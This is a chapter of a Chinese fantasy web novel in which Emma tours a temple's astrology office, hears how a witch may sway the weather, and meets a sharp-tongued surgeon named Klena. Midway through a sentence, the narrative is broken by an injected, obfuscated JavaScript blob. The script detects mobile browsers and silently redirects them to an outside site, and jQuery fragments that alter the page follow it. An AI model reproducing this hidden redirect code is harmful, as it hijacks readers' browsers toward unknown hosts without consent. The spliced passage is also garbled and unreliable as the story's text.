62.天象
作品:《月与砂》 艾玛感到了一些小小的吃惊。
弗里蒙斯组织语言,继续解释:“主祭司的选拔标准中有一项,如果测试者的指月石倾斜角在二十五度以上,会得到部分特权。菲提的倾斜角是二十七度,所以虽然她还没有成年,也可以破格被选为主祭司。
“‘天象祭司’的重要职能之一是占卜预言,菲提在占卜上非常有天赋,灵敏远胜于他人,足够完成占卜工作。但是,除了占卜之外,如您所见……天象祭司还有多方多面的杂务,而菲提目前确实不具备处理这些工作的能力,只能另选他人。
“而我是天象祭司的候选人之一,其他各方面都满足条件,只有唯一一项——我的指月石倾斜角只有十三度,不满足主祭司最低十五度的标准。而很巧合的是……”
弗里蒙斯咳了咳:“菲提是我的表妹,我母亲妹妹的女儿。我们居住在一起,虽然相差将近二十岁,但我们关系很好。菲提说……呃,她说可以匀两度倾斜角给我。当然这是不行的。
“占卜预言本身非常看占卜者的天分,受一些难以把控的要素影响。菲提的占卜能力很强,二十七度倾斜角又太过于压倒性了。所以议会最后做了这样的折中方案:让菲提成为‘天象祭司’,而我则作为‘天象祭司’的代理。”
艾玛了然,感想道:“生活处处是惊喜。”
“您说得是。”弗里蒙斯苦笑。
“但菲提只负责预言那块,参与天象祭司的工作不多,平时还在照常上学。一方面是她父母的建议,一方面她对学习有自发的兴趣。”利利提亚弯了弯眼睛,“她很聪明,会利用天象祭司的身份找借口踢掉自己不想上的课。”
弗里蒙斯揉了揉额头。
“所以,事实上,天象祭司的工作基本是弗里蒙斯先生在完成,非常辛苦。我向来觉得您太谦虚了,其实不必这么强调代理的身份。”利利提亚说。
弗里蒙斯摇头:“这是对我自己的提醒。我和菲提相处再融洽,也毕竟是两个不同的人,何况还有不小的年龄差距。我们是一定会产生争吵和意见分歧的。
“到那种时候,如果我要凭恃于自己年长或‘辛苦’,反过来夺取她应有的权力,那是忘恩负义。我也看不起那样的自己。倾斜角胜过我、能力满足条件的同样有其他人,如果没有菲提,我本来也无法成为天象祭司,我不希望自己忘记这一点。”
利利提亚叹了口气:“真是让人羡慕的兄妹关系。”
弗里蒙斯认真地说:“我相信尊重是相互的。菲提尊重我,我也尊重她。”
利利提亚向艾玛道:“想必不用我更多介绍了。女巫能够判别谎言,您应该听得出这些话里多少真心。总之,如您所见,弗里蒙斯先生是位非常尽责、可靠而正直的好先生——”
弗里蒙斯咳了一声,被夸得不自在了。
艾玛点头,拍了几下手。
弗里蒙斯不明所以,诚恳地问:“是有什么需要我帮忙的吗?”
“不。”艾玛说,“只是想鼓掌。”
弗里蒙斯带着艾玛他们简单浏览了天象司的设施,介绍了一些器具的效用和天象理论模型。
“根据昨晚的星象,今明天都会是晴天,后天有三成概率降雨。我们目前只能预测三天的气象,再往后,失误率就会极大地提高。”
弗里蒙斯在观测人昨晚新绘的星图上对艾玛比划,说到这里,像是想起什么,摇了摇头:“不过——您既然在这里,以后的天象预测就不好说了。”
“怎么了吗?”
“‘女巫会影响天象’,流传至今的典籍和故事里都这么讲。尤其,‘当女巫停驻于她的神殿,便将与此方的天和地相连,天地顺其变化,晴雨显其喜悲。’
“也就是说,如果您停留在阿瓦托芬,这里的天气变化将受您心情影响,再通过观测星象来预判天气就不准确了。”
艾玛愣了愣:“这倒是……我第一次听说。”
“神殿的传说中普遍认为,‘女巫是神祇意志的外显’,天象变化是神的吐息,那么它受到女巫的影响也就不奇怪。
“在传说中,女巫和天地形成链接需要时间,所以这种影响会随着她们的成长日渐显著。尤其在女巫停留之处,那地方和女巫的链接越紧密,受其情绪变化的影响就会越深。
“再比如,对月神女巫来说,月神神殿所在的土地更加特殊:这里信徒众多,聚集了各处而来的信仰;还有一种解释……传说女巫的灵魂诞生自神殿的土地,回到神殿,便如回到了故乡。”
“女巫在位时期,天象司的职责安排和现在也有区别。如果您有停留在这里的打算,我也该去研究一下……啊,抱歉,我无意为您施加压力,或者逼迫您做什么决断——现在说这个还太早,是我心急。只是……”
弗里蒙斯推了推眼镜,像叹气,“您来到了神殿,很多事都会不同了。”
弗里蒙斯带他们转了天象司好几个房间,连带浏览了附近几个关联部门。
等介绍告一段落,他问利利提亚道:“既然先来找‘天象祭司’,之后是打算去跟‘文礼祭司’也打个招呼吗?”
“虽然理想是这样,但柳德米拉女士还在忙春祭的事,即使去文礼司的办公室,恐怕也找不着她。而且,那位对礼数比我们都重视得多,要是现在带女巫殿下过去,文礼司那边来不及准备。还是不去给他们添乱了。”
弗里蒙斯表示赞同。
离开天象司之前,艾玛叫了西里斯一声提醒。他全程都没怎么说话,注意力时移时定,漂浮在不知哪里。艾玛顺着他的目光,看到西里斯正盯着墙上那张巨大的星图。
他听见艾玛的声音,迟了两三秒才回神,抽回视线应了一句,就转身走向门口。艾玛多瞧了星图两眼,猜不出他刚刚看的位置。
和弗里蒙斯告别之后,他们所处的位置距离初始坐标已经偏离了相当远。神殿很大,迷宫般七弯八绕,这一圈走完,让人甚至一时辨不清东西南北。
好在他们的导游对这里确实了如指掌。利利提亚简单确认了方位,决定了下一个目标地:“——这里离医疗部的办公区不远。”
“‘医疗’……哈瓦娜提过,这是‘神谕祭司’管辖的范畴。”艾玛想了想。
“系统分配是这样,但我完全不懂医疗上的事,所以也不干涉他们的管理。”利利提亚像是想到什么,唇角挂上了淡淡的笑意,“而且,我们的医生非常出色,不需要多余的担心。”
出于直觉,艾玛莫名感到利利提亚的心情突然变得很好。
她眨了眨眼睛。
“看来确实是很出色的医生。”她说。
“我在工作上和医疗部来往很多,对他们的办公区很熟悉。按照排班,克蕾娜今天应该在这边。”利利提亚介绍说,“克蕾娜是医疗部的负责人之一,她是我见过最好的医生。”
“很高的评价。”不如说,艾玛惊讶于这评价的绝对性。
“我相信她值得更高的赞美。那样对医学充满
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214147|175926||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
执着和热情的态度,平等认真对待每一个患者的体贴,任何人看了都会感动。她是个非常温柔的人。”
利利提亚完全不吝对那位医生的赞美,“我们私底下是关系很好的朋友,但我不是因为偏心才这么说。如果您有机会了解克蕾娜,您也一定会相信。”
说话间,他们已经穿过了安静的过道,前方往来的人员又多起来。
办公区基本上是医生们放置用具和归类医疗档案的地方,走动的多是医护人员。问诊区在更外侧的西殿,病人一般不会来这边。
有医护人员看见利利提亚,立刻向他行了礼。
这一路上过来,艾玛对此情境已经不陌生。
据利利提亚所说,神殿每年有一些大型庆典,主祭司都要露脸出席,加上他因为工作经常四处走动,神殿里的人大都认得他。
女巫的事还没传开,神殿又实在有太多信徒,彼此间有不认识的人很正常,即使看见了神谕祭司身边的艾玛,联想到女巫身上的人也不多。
艾玛意识到自己在这儿并不突兀,不如说,因为利利提亚只是出现就能夺走别人第一眼的注意,反倒稀薄了他身边人的存在感。
艾玛觉得这样更轻松,能够承受他人的目光和喜欢毕竟是两码事。
只是不知道是否错觉,艾玛感到医疗部这边的职员对利利提亚的态度与先前所见的人有些微妙的不同。
利利提亚在交错的走道里七拐八拐,最终停在一扇门前。
这里在办公区较深的位置,几乎没什么人了,显得格外安静。
关闭的房门上挂着名牌,写着房间主人的职位和名字:“医疗外科一级祭司克蕾娜”。
利利提亚敲完门,没有等回应,直接拉下了门把。
于是房间里那声“请进”被门板吞掉了半个字,便毫无阻隔地从门缝里飘进了走道。
艾玛闻到干燥的草药香气,医生身边总会有的气味。但除此之外,还有些更新鲜的、生机勃勃的味道,像是雨后的树林,滚着露珠的草地,植物和泥土的气息。
克蕾娜的办公室里摆着很多绿植,葱茏热烈地长满了墙边的书架,或是见缝插针地蜷在置物架角落里,在瓶瓶罐罐的药剂、盒子、书本、杂物间执着地伸出长长的枝叶,从架子边缘拖垂下来,摇晃着流动的风声。
办公桌边的窗户没关,温暖的阳光穿过藤蔓树影,在金色的房间中浮动开一片朦胧的浅绿。
坐在桌边的女人搁下笔,抬头时挽了下耳边的碎发,转过一双薄绿色的眼睛。
浸着绿的蓝,染着蓝的绿。艾玛想起她曾在雨中见过的一种不知名的花。
克蕾娜的眼尾上扬,长相与温柔一词全然无缘,透着慑人的锐利。她身上披着件白色的长外套,袖子松松垮垮地卷着一半,看得出在打扮上没花什么心思,整洁而随意。
她有一头银色的长发,和利利提亚的发色相近,不同于利利提亚的柔顺,发丝更细软毛躁,看着就容易打结,却扎了个艾玛一时难以理解的发型:不知怎么在脑后卷了两下,插着三根发簪固定住了,发尾没有定向地散开,像绽开的野草。
利利提亚笑着向她打招呼:“早上好,克蕾娜。”
艾玛于是见到那位被利利提亚评价为“温柔”“体贴”的好医生,用一种可称冰冷的眼神凝视着他,指向门外的走廊。
她的声音微微沙哑,压着恼怒的烦躁。
“给你十秒钟,”克蕾娜冷冷地说,“滚出去。”